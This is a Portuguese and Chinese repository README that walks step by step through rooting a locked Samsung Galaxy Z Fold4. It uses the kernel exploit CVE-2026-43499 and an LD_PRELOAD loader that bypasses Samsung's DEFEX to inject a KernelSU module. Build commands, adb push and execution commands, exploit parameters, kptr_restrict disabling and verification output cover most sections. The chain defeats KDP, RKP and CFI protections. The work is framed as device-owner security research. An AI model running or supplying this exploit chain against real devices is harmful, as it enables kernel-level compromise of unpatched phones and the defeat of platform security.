SM-F9360 (Galaxy Z Fold4 / q4q) Root KernelSU sem desbloquear o Bootloader

Root temporário via CVE-2026-43499 → canal LD_PRELOAD contornando o DEFEX → kernelsu.ko sem LTO com clang-12 → su + KernelSU Manager com todos os recursos

Status: ✅ Verificação em dispositivo real concluída em 2026-08-12 (firmware F9360ZCSAIZF1, kernel 5.10.236-android12-9-2755199-abF9360ZCSAIZF1)

Este projeto documenta o fluxo completo e reproduzível para obter root via KernelSU em um dispositivo Samsung com Bootloader bloqueado: sem desbloquear o BL, sem flashar boot.img, sem Odin.

TL;DR (Português): Este repositório documenta um caminho de jailbreak totalmente verificado em dispositivo real para um Samsung Galaxy Z Fold4 com bootloader bloqueado (SM-F9360, SM8450, kernel 5.10.236, firmware F9360ZCSAIZF1): uma cadeia de exploração da CVE-2026-43499 (UAF do rtmutex, corrigida no firmware de julho de 2026) concede root temporário no domínio do kernel; um .so de constructor via LD_PRELOAD personalizado contorna o interceptador de execve do DEFEX da Samsung para chamar init_module() em um LKM do KernelSU compilado com a toolchain exata do dispositivo (AOSP clang 12.0.5 r416183b) e com LTO desabilitado — os dois fatores que tornam o módulo carregável e o init executável neste kernel endurecido com CFI/LTO. Resultado: su funciona (uid=0, context=u:r:ksu:s0) e o KernelSU Manager v3.2.5 reconhece o kernel. O root é apenas em memória: cada reinicialização exige reexecutar o exploit (~3 min, com script). Todas as armadilhas e becos sem saída (fake exports, patch de CRC, ksud late-load, layout de function-sections do LTO) estão documentados abaixo.

Índice

• 1. Resultados e limitações essenciais
• 2. Contexto: por que é difícil, por que é viável
• 3. Visão geral da cadeia de ataque (3 camadas)
• 4. Requisitos de ambiente
• 5. Etapa 1 — Compilando o exploit (root temporário)
• 6. Etapa 2 — Compilando o kernelsu.ko (receita sem LTO com clang-12)
• 7. Etapa 3 — Compilando o ksu-load.so (carregador que contorna o DEFEX)
• 8. Etapa 4 — Execução e verificação no dispositivo
• 9. Fluxo de recuperação após reinicialização
• 10. Descobertas-chave e lista de armadilhas
• 11. Compatibilidade de firmware/kernel
• 12. Agradecimentos e projetos upstream
• 13. Aviso legal

1. Resultados e limitações essenciais

Limitação essencial: BL bloqueado → root é puramente em memória. Após cada reinicialização é preciso reexecutar o exploit + recarregar o módulo (fluxo completo de ~3 minutos, já com script). O daemon em userspace ksud não pode ser implantado (o DEFEX bloqueia execve, ver §10-4), mas su / supercall / Manager são tratados diretamente pelo sucompat do kernel, sem depender do ksud.

Aviso: rmmod kernelsu faz o dispositivo entrar em panic e reiniciar imediatamente (o RKP protege o caminho de restauração da syscall table na memória) — nunca descarregue.

2. Contexto: por que é difícil, por que é viável

Por que é difícil (defesa em profundidade da Samsung)

• BL bloqueado: o bloqueio da OEM não pode ser desfeito; fastboot oem unlock não existe; qualquer root persistente (magisk/patch de kernel) exige flashar boot.img, e o BL bloqueado rejeita qualquer imagem autoassinada.
• KDP / RKP / DEFEX: proteção de dados do kernel (escrita física em rodata dispara hard reboot do monitor KDP), o hypervisor RKP protege a syscall table, o DEFEX intercepta a execução de novos ELFs no domínio root.
• Kernel com CFI + LTO: CONFIG_CFI_CLANG=y + Full LTO. A única fonte de mod->init é o slot __cfi_jt_init_module da CFI jump-table; chamadas indiretas precisam passar pelo entry .cfi_jt, caso contrário a verificação CFI causa panic direto.
• TRIM_UNUSED_KSYMS: ~40 símbolos necessários ao KSU são removidos da tabela de exportação __ksymtab; um insmod comum não consegue resolvê-los (Unknown symbol).
• MODULE_FORCE_LOAD=n + modversions: o vermagic precisa corresponder caractere por caractere; os flags IGNORE_MODVERSIONS/IGNORE_VERMAGIC caem todos no beco sem saída .

Por que é viável

1. CVE-2026-43499 (UAF no rollback do proxy-lock do rtmutex, corrigida no upstream em 2026-07) eleva privilégios de forma estável para o domínio do kernel em firmwares de 2026-06 ou anteriores — a comunidade já tem um port verificado em dispositivo real para o mesmo SoC (SM8450) e o mesmo branch de kernel (5.10): sarabpal-dev/IonStack-S22U (b0q / S22U, rota exp32).
2. O DEFEX só bloqueia execve, não o carregamento dinâmico: um .so de constructor via LD_PRELOAD é o único canal isento para executar código arbitrário no domínio root.
3. O modo jailbreak do KernelSU v3.2+ (ksud late-load) foi projetado para dispositivos com BL bloqueado: sem flashar o boot, init_module direto em runtime.
4. Princípio da correspondência da toolchain: o CFI type-id é um hash interno do LLVM; o módulo precisa ser compilado com exatamente o mesmo compilador do kernel do dispositivo (dispositivo q4q = AOSP clang 12.0.5 r416183b).
5. O layout fragmentado do LTO é a causa raiz final do crash do módulo: os 447 pequenos segmentos ALLOC produzidos por function-sections sempre travam no carregador de kernel da Samsung; recompilar com LTO desabilitado → layout tradicional de 22 segmentos → sucesso de primeira (ver §10-1).

3. Visão geral da cadeia de ataque (3 camadas)

┌─ Layer 1: CVE-2026-43499 临时 root
│   ionstack-q4q exploit（KASLR 泄漏 → mm reclaim → exp32 32-bit 栈 stamp
│   → CFI r/w → pipe physrw → UMH root daemon）
│   → /data/local/tmp/cve-2026-43499-root -c '<cmd>' = kernel:s0 域 root 命令通道
│
├─ Layer 2: LD_PRELOAD .so 加载通道（DEFEX 绕过）
│   DEFEX 拦截 kernel 域 execve 任何新 ELF（Killed）；LD_PRELOAD 的 constructor
│   执行豁免 → ksu-load.so 在 /system/bin/true 进程内：
│   读 ko → /proc/kallsyms 手工重定位 201 个 UND 符号（SHN_ABS + st_value=绝对地址）
│   → vermagic patch（旧版需要）→ init_module() → 成功
│
└─ Layer 3: KernelSU 内核模块（无 LTO clang-12 版）
    init 完整执行 15 mark 全绿 → sucompat (allow_shell=1) + supercall 可用

4. Requisitos de ambiente

Dispositivo

Firmware diferente = kallsyms / layout / vermagic diferentes; é preciso reajustar o target.h e recompilar. Ver §11.

Máquina de build

• Host macOS + container Ubuntu 24.04 aarch64 com colima/docker (binários de clang para x86_64 não rodam em container arm64; compilar no host macOS é um inferno de ferramentas — tudo containerizado)
• No container: clang-14/15 + clang-12 / lld-12 dos repositórios focal (/usr/bin/clang-12, /usr/bin/ld.lld-12)
• O container não tem gcc → o make precisa de CC=clang HOSTCC=clang LD=ld.lld-12
• NDK r29 (para compilar o exploit e o ksu-load.so)
• Código-fonte do kernel da Samsung: espelho no GitHub FryUpDoe/android_kernel_samsung_q4q (opensource.samsung.com tem anti-raspagem do Cloudflare)

5. Etapa 1 — Compilando o exploit (root temporário)

O exploit é baseado no sarabpal-dev/IonStack-S22U (base GREEN verificada em dispositivo real para SM8450 5.10, rota exp32). A adaptação para o q4q = patches/ionstack-q4q-adapt.patch dentro do repositório (249 linhas, cobrindo parâmetros do target.h, kernelsnitch, root.c etc.).

export ANDROID_NDK_HOME=$HOME/Projects/f9360-root/tools/android-ndk-r29
cd work/ionstack-q4q          # IonStack-S22U clone + 本 patch
make PROJECT=q4q-F9360ZCSAIZF1   # 注意变量名是 PROJECT= 不是 TARGET=

Parâmetros-chave do q4q (já ajustados; não alterar):

Produz 3 binários (build/q4q-F9360ZCSAIZF1/): preload .so, app .so, PIE do root helper. O teste real no dispositivo precisa ser feito sob carga baixa (loadavg < 2.5, aguarde 1–2 minutos após ligar); sob carga alta, a tempestade de forks do exploit (~544 threads + 1024 threads futex park) é silenciosamente morta com SIGKILL pelo LMKD.

6. Etapa 2 — Compilando o kernelsu.ko (receita sem LTO com clang-12)

Esta é a receita reproduzível mais central deste projeto. Primeiro a teoria, depois os comandos.

Por que é obrigatório: três regras de ferro

1. O compilador precisa ser da mesma geração do dispositivo (clang 12.0.5): o CFI type-id é um hash interno do LLVM. Kos compilados com clang-15/18 dão __cfi_check_fail no dispositivo → panic direto (sem CFI_PERMISSIVE). O clang-12 do Ubuntu e o clang-12 do AOSP também têm pequenas diferenças de comportamento, mas com o CFI desligado (ver abaixo) a diferença deixa de ser fatal.
2. É obrigatório desligar o LTO (causa raiz final): a árvore da Samsung tem por padrão CONFIG_LTO_CLANG_THIN=y → layout fragmentado por -ffunction-sections (447 pequenos segmentos ALLOC, .text=0) → qualquer versão (até o stub) causa panic do kernel ao carregar. O ko oficial tem layout tradicional (22 segmentos) → sempre carrega. Recompilar com o LTO desligado → sucesso de primeira.
3. É obrigatório desligar o CFI: o módulo não tem o símbolo __cfi_check → mod->cfi_check=NULL → o registro do shadow no cfi_init é pulado → as chamadas não passam pela verificação CFI. Mas atenção: a única fonte de mod->init é o slot CFI jt __cfi_jt_init_module (kernel/module.c cfi_init()) — (falso sucesso!). O clang-12 gera naturalmente o slot , sem objcopy manual.

Modificações na árvore da Samsung

# 1) 禁 per-task sysreg stack guard（Ubuntu clang-12 不支持 -mstack-protector-guard=sysreg）
#    arch/arm64/Makefile: ifeq ($(CONFIG_STACKPROTECTOR_PER_TASK),y) → ifeq (n,y)
#    模块 stack protector 回退全局 __stack_chk_guard（kallsyms 有导出，安全）

# 2) .config 与 include/config/auto.conf 同步修改（auto.conf 是 make 实际读的）：
#    CONFIG_LTO_CLANG_THIN=y → # CONFIG_LTO_CLANG_THIN is not set
#    CONFIG_LTO_CLANG=y → not set
#    CONFIG_LTO=y → not set
#    CONFIG_LTO_NONE=y
#    CONFIG_CFI_CLANG=y / CONFIG_CFI_CLANG_SHADOW=y → not set
#    + CONFIG_SECTION_MISMATCH_WARN_ONLY=y
#      （jt 槽 .data→.init 引用会被 modpost 拦成 ERROR，必须开）

# 3) KSU 源码就位 drivers/kernelsu/
#    （KernelSU v3.2.5 + BuSung samsung-kdp-rkp-defex patch；Kconfig/Makefile 已接入）

Compilação

docker exec ksu-build bash -c "cd /kernel && find drivers/kernelsu -name '*.o' -delete; \
  make M=drivers/kernelsu LD=ld.lld-12 CC=clang-12 CONFIG_KSU=m \
  CONFIG_KSU_SAMSUNG_KDP=y CONFIG_KSU_SAMSUNG_RKP=y CONFIG_KSU_SAMSUNG_DEFEX=y \
  CONFIG_KSU_SAMSUNG_NO_PATCH_TEXT=y modules"

⚠️ Limpar os .o é obrigatório: o cache de .o não é reconstruído automaticamente quando o .config muda; artefatos residuais de function-sections causam falso sucesso/falso crash.

Checklist de verificação do artefato (só envie ao dispositivo se passar em tudo)

# .text 是统一段（~0x1133c），不是 function-sections 拆分布局
llvm-readelf -S kernelsu.ko | grep -c '\.text\.'   # 应为 0
# jt 槽存在（mod->init 唯一来源）
llvm-nm kernelsu.ko | grep __cfi_jt_init_module    # D __cfi_jt_init_module
# vermagic 精确匹配设备（用设备树编的天然匹配，无需 patch）
modinfo kernelsu.ko | grep vermagic
# 201 个 UND 符号、无 __cfi_check（模块不参与 CFI shadow）
llvm-readelf -s kernelsu.ko | grep -c UND
llvm-nm kernelsu.ko | grep __cfi_check            # 应为空

A versão que funcionou está em release/kernelsu-c12-nolto.ko (verificação via SHA256SUMS).

7. Etapa 3 — Compilando o ksu-load.so (carregador que contorna o DEFEX)

Semântica do DEFEX (conclusões de mapeamento obtidas em testes reais, que derrubam o conhecimento antigo da comunidade):

Portanto, o fluxo nativo do ksud não funciona na Samsung (exec no domínio kernel é bloqueado; o domínio shell não tem permissão). Carregador próprio = loader/ksu-load.c (macro KSU_LOAD_AS_SO = versão constructor):

1. o constructor lê $KSU_KO_PATH
2. abre /proc/kallsyms (antes, via canal root: echo 0 > /proc/sys/kernel/kptr_restrict)
3. para cada símbolo UND do .symtab: consulta o endereço absoluto no kallsyms → SHN_ABS + st_value=地址
   • limite de 600000 entradas (o dispositivo tem 489702; o limite antigo de 65536 truncava silenciosamente e reportava tudo como MISSING)
   • patched=201 missing=0 = resolução completa
   • Símbolos SHN_ABS nunca passam por find_symbol()/check_version() → as duas paredes TRIM_UNUSED_KSYMS e modversions CRC desaparecem ao mesmo tempo
4. KSU_VERMAGIC_PATCH=1 (necessário para kos antigos): encurtar scmversion/author/description do .modinfo para abrir bytes no lugar → gravar a string vermagic exata do dispositivo (a versão sem LTO tem vermagic com correspondência automática, não precisa)
5. init_module(fd, params) → log gravado em /data/local/tmp/ksu-load.log (stderr sem buffer, não perde log em caso de crash)

$ANDROID_NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android30-clang \
  -shared -fPIC -O2 -DKSU_LOAD_AS_SO -o ksu-load.so ksu-load.c

8. Etapa 4 — Execução e verificação no dispositivo

8.1 Enviar os artefatos

adb -s RFCW31TJJ0T push release/kernelsu-c12-nolto.ko /data/local/tmp/
adb -s RFCW31TJJ0T push release/ksu-load.so /data/local/tmp/
adb -s RFCW31TJJ0T push build/q4q-F9360ZCSAIZF1/cve-2026-43499-app.so /data/local/tmp/
adb -s RFCW31TJJ0T push build/q4q-F9360ZCSAIZF1/cve-2026-43499-root /data/local/tmp/
# panic 会清零 F2FS 页缓存 —— 每次 panic 后必须 MD5 重新核对/重推

8.2 Root temporário

# 重启后必须等 loadavg < 2.5（watch /proc/loadavg）再跑，高负载必失败
adb -s RFCW31TJJ0T shell "
  pkill -9 -f 'cve-2026-43499';   # 清残留（⚠️ 勿在 root daemon 活着时用，会误杀通道）
  cd /data/local/tmp
  KSU_LOAD_ONLY=1 EXP32_STAMP_OFF=0x58 EXPLOIT_ATTEMPTS=3 \
  LD_PRELOAD=/data/local/tmp/cve-2026-43499 nohup sh -c 'sleep 3600' > exp.log 2>&1
"
adb -s RFCW31TJJ0T shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
# → uid=0(root) gid=0(root) context=u:r:kernel:s0

8.3 Carregar o módulo KSU

adb -s RFCW31TJJ0T shell "
  timeout 10 cve-2026-43499-root -c 'echo 0 > /proc/sys/kernel/kptr_restrict'
  timeout 60 cve-2026-43499-root -c 'sh -c \"KSU_KO_PATH=/data/local/tmp/kernelsu-c12-nolto.ko \
    KSU_KO_PARAMS=allow_shell=1 LD_PRELOAD=/data/local/tmp/ksu-load.so \
    /system/bin/true > /data/local/tmp/ksu-load.log 2>&1\"'
"
cat /data/local/tmp/ksu-load.log
# 成功标志: patched=201 missing=0 | KernelSU loaded OK (manual relocation, 201 symbols)
adb -s RFCW31TJJ0T shell "cat /proc/modules | grep kernelsu"
# → kernelsu 147456 0 - Live (O)

8.4 Checklist de verificação (tudo verde)

# 1. KSU init 15 mark（/data/local/tmp/ksu-init.log）:
#    entry → resolver-ok → kdp-ok → cred-ok → defex-ok → syscallhook-ok
#    → features-ok → supercalls-ok → rules-ok → cachesid-ok → setupcred-ok
#    → escape-ok → allowlist-ok → hookmanager-ok → late-done
# 2. su:
adb -s RFCW31TJJ0T shell "su -c id"
# → uid=0(root) gid=0(root) groups=0(root) context=u:r:ksu:s0
# 3. KSU Manager v3.2.5 主页显示:
#    「内核版本 5.10.236-android12-9-2755199-abF9360ZCSAIZF1」= supercall 通过
#    SELinux 强制执行 + Seccomp 过滤模式下正常工作

9. Fluxo de recuperação após reinicialização

# 1. 重启 → 等 loadavg < 2.5
# 2. 跑 §8.2 exploit（一次成功率高）→ 验证 root
# 3. 跑 §8.3 加载 → 验证 /proc/modules
# 4. su 可用 + Manager 识别
# 全流程 ~3 分钟。scripts/restore-root.sh 为半自动模板。

10. Descobertas-chave e lista de armadilhas

10.1 Layout fragmentado do LTO = causa raiz final do crash do módulo (a maior descoberta deste projeto)

• Sintoma: o kernelsu compilado com clang-12 trava ao carregar, até a versão stub, com o init reduzido a um stub (ret), também trava, enquanto a versão stub do ko oficial com clang-12 carrega → diferença no nível do módulo, não é problema do código do init.
• Bissecção: flags RELA idênticos → seções especiais (__jump_table/.altinstructions/.note.gnu.property) também existem no oficial → única diferença = layout fragmentado por function-sections (nosso ko com 447 segmentos ALLOC vs 22 do oficial).
• Correção: desligar todo o conjunto CONFIG_LTO_CLANG_THIN + limpar .o e recompilar → layout tradicional → carregamento OK de primeira, 15 marks do init todos verdes.
• Lição: o cache de .o não é reconstruído quando o .config muda; ao mudar a configuração é obrigatório find drivers/kernelsu -name '*.o' -delete.

10.2 A única fonte de mod->init = slot CFI jt

kernel/module.c cfi_init(): mod->init = *find_kallsyms_symbol_value(mod, "__cfi_jt_init_module"). Um ko de build sem CFI e sem slot jt → mod->init=NULL → do_init_module é pulado → o módulo fica "Live" mas o init nunca executa (ksu_cred não é criado, hooks não são registrados — a raiz de todos os fenômenos anteriores de "casca vazia Live"). O clang-12 gera o slot jt naturalmente; o -fsanitize=cfi do clang-14 gera, mas o LTO descarta na linkagem (beco sem saída).

10.3 Correspondência do compilador (CFI type-id)

O /proc/version do dispositivo = Android (7284624, based on r416183b) clang version 12.0.5. Kos compilados com clang-15/18 dão __cfi_check_fail no dispositivo → panic e sem CFI_PERMISSIVE. Consulte o /proc/version e use o compilador da mesma geração. Download do AOSP clang r416183b (446MB): https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86/+archive/refs/heads/android12-release/clang-r416183b.tar.gz (o branch precisa ser android12-release; a versão x86_64 não roda em container arm64). O clang-12 do Ubuntu exige desabilitar o sysreg guard no Makefile da Samsung (ver §6).

10.4 Semântica exata do DEFEX

Veja a tabela do §7. Núcleo: o constructor via LD_PRELOAD é o único canal isento; rebaixar o domínio com setexeccon é inútil; a rota ksud late-load está descartada, use o carregador próprio. O libksud.so (versão do ksud como biblioteca embutida no Manager) pode ser iniciado a partir do domínio app, mas o seccomp bloqueia a syscall 142; não chegou a ser explorado.

10.5 O vermagic precisa corresponder exatamente

CONFIG_MODULE_FORCE_LOAD=n → os flags IGNORE_VERMAGIC/IGNORE_MODVERSIONS caem todos em try_to_force_load() → beco sem saída ENOEXEC. O vermagic do dispositivo tem o sufixo LOCALVERSION (-2755199-abF9360ZCSAIZF1); um ko compilado com a árvore do dispositivo (SUBLEVEL/EXTRAVERSION/LOCALVERSION corretos) tem correspondência exata natural. Módulos com __versions vazio (estilo oficial do KSU) usam comparação de string completa em same_magic — precisa ser idêntico caractere por caractere.

10.6 Outras armadilhas

1. Gate de carga do exploit: com loadavg ≥ 2.5 após ligar, falha na certa (SIGKILL do LMKD, o log para em find_collisions com a mesma contagem de bytes). Espere a carga baixar para rodar.
2. Arquivos zerados após panic: o page cache do F2FS é corrompido e arquivos em /data/local/tmp podem ser zerados — após um panic, confira o MD5 de todos os binários.
3. pkill -9 -f cve-2026-43499 mata o root daemon por engano: o canal root também se vai; é preciso reiniciar e refazer tudo.
4. O vazamento do slide do tracefs não é estável entre boots: o slide de um boot bem-sucedido é estável; em boot falho (mismatch de CFI), reinicie e tente de novo; não fique perseguindo o código.
5. Block buffering do stdout perde logs: ao redirecionar para arquivo, o printf usa block buffering e o panic perde o trecho final do log. O set_unbuffer() (incluído na toolchain do kernelsu) é chamado em run_exploit, mas nunca tinha sido chamado antes.
6. kptr_restrict=2 esconde endereços até do root no domínio do kernel: primeiro echo 0 > /proc/sys/kernel/kptr_restrict; o carregador precisa pular linhas com addr==0.
7. kallsyms com 489k entradas: o limite do array do carregador precisa ser ≥600k; 65536 trunca silenciosamente e reporta tudo como MISSING.
8. O patch KDP/RKP/DEFEX é obrigatório: no KSU original em Samsung, um put_cred comum escreve na cred do KDP → abort externo síncrono com panic.

11. Compatibilidade de firmware/kernel

• Janela de correção da CVE-2026-43499: os firmwares da Samsung de 2026-07 já corrigiram. O firmware alvo precisa ser build ≤ 2026-06.
• Todos os artefatos deste repositório (ko/vermagic/parâmetros) estão vinculados ao F9360ZCSAIZF1. Para outros firmwares é necessário:
  1. reextrair kallsyms e o layout usando o boot.img do firmware correspondente (vmlinux-to-elf + llvm-nm);
  2. atualizar os 25 offsets de símbolos do target.h + a tabela de fingerprints P0 (tools/generate_p0_fingerprint.pl);
  3. recompilar o ko com a árvore de kernel correspondente àquele firmware (vermagic casa automaticamente);
  4. o port comunitário b0q/S22U no mesmo SoC (SM8450) comprova que 0xa8000000 é uma convenção de longo ciclo de vida; muito provavelmente não precisa mudar.
• Outros dispositivos Samsung com o mesmo branch de kernel (ex.: série S22 com 5.10) podem servir de base de referência para o port, mas os offsets de task_struct, o objsize de mm_struct e os parâmetros ksm de cada dispositivo precisam ser validados de forma independente (copiar offsets entre dispositivos = crash garantido).

12. Agradecimentos e projetos upstream

• Ecossistema da CVE-2026-43499: BuSung-dev/Root-My-Galaxy / Root-My-Galaxy-Payloads (exploit original e framework de payloads)
• sarabpal-dev/IonStack-S22U — base de port GREEN em dispositivo real para SM8450 5.10 (rota exp32); o exploit deste projeto é diretamente baseado nele
• tiann/KernelSU v3.2.5 — modo jailbreak (ksud late-load) + o próprio módulo
• KernelSU-v3.2.5-samsung-kdp-rkp-defex.patch do BuSung — adaptação para KDP/RKP/DEFEX da Samsung
• xunchahaha/mi_nobl_root — implementação de referência em Python da ideia do patch SHN_ABS
• FryUpDoe/android_kernel_samsung_q4q — espelho do código-fonte do kernel
• APK RMG "versão adaptada por especialistas" da comunidade Coolapk (payloads de 42 firmwares) — material de engenharia reversa e fonte de inteligência

13. Aviso legal

Este projeto é exclusivamente para pesquisa de segurança e testes em dispositivos próprios. Explorar uma vulnerabilidade conhecida (CVE-2026-43499) em um dispositivo com BL bloqueado para contornar mecanismos de segurança da plataforma pode violar os termos de garantia e de serviço do dispositivo. Todo risco é por sua conta: panic do kernel, perda de dados e dispositivo brickado (baixa probabilidade, mas existe) são de responsabilidade do usuário. Não use em dispositivos não autorizados. A CVE já foi corrigida no upstream em 2026-07; atualize o firmware o quanto antes.

LICENÇA: o código próprio do repositório (loader/ksu-load.c, scripts/, este documento) é MIT; release/kernelsu-c12-nolto.ko é derivado do KernelSU e do código-fonte do kernel da Samsung, ambos GPL-2.0; patches/ionstack-q4q-adapt.patch segue a licença do projeto upstream.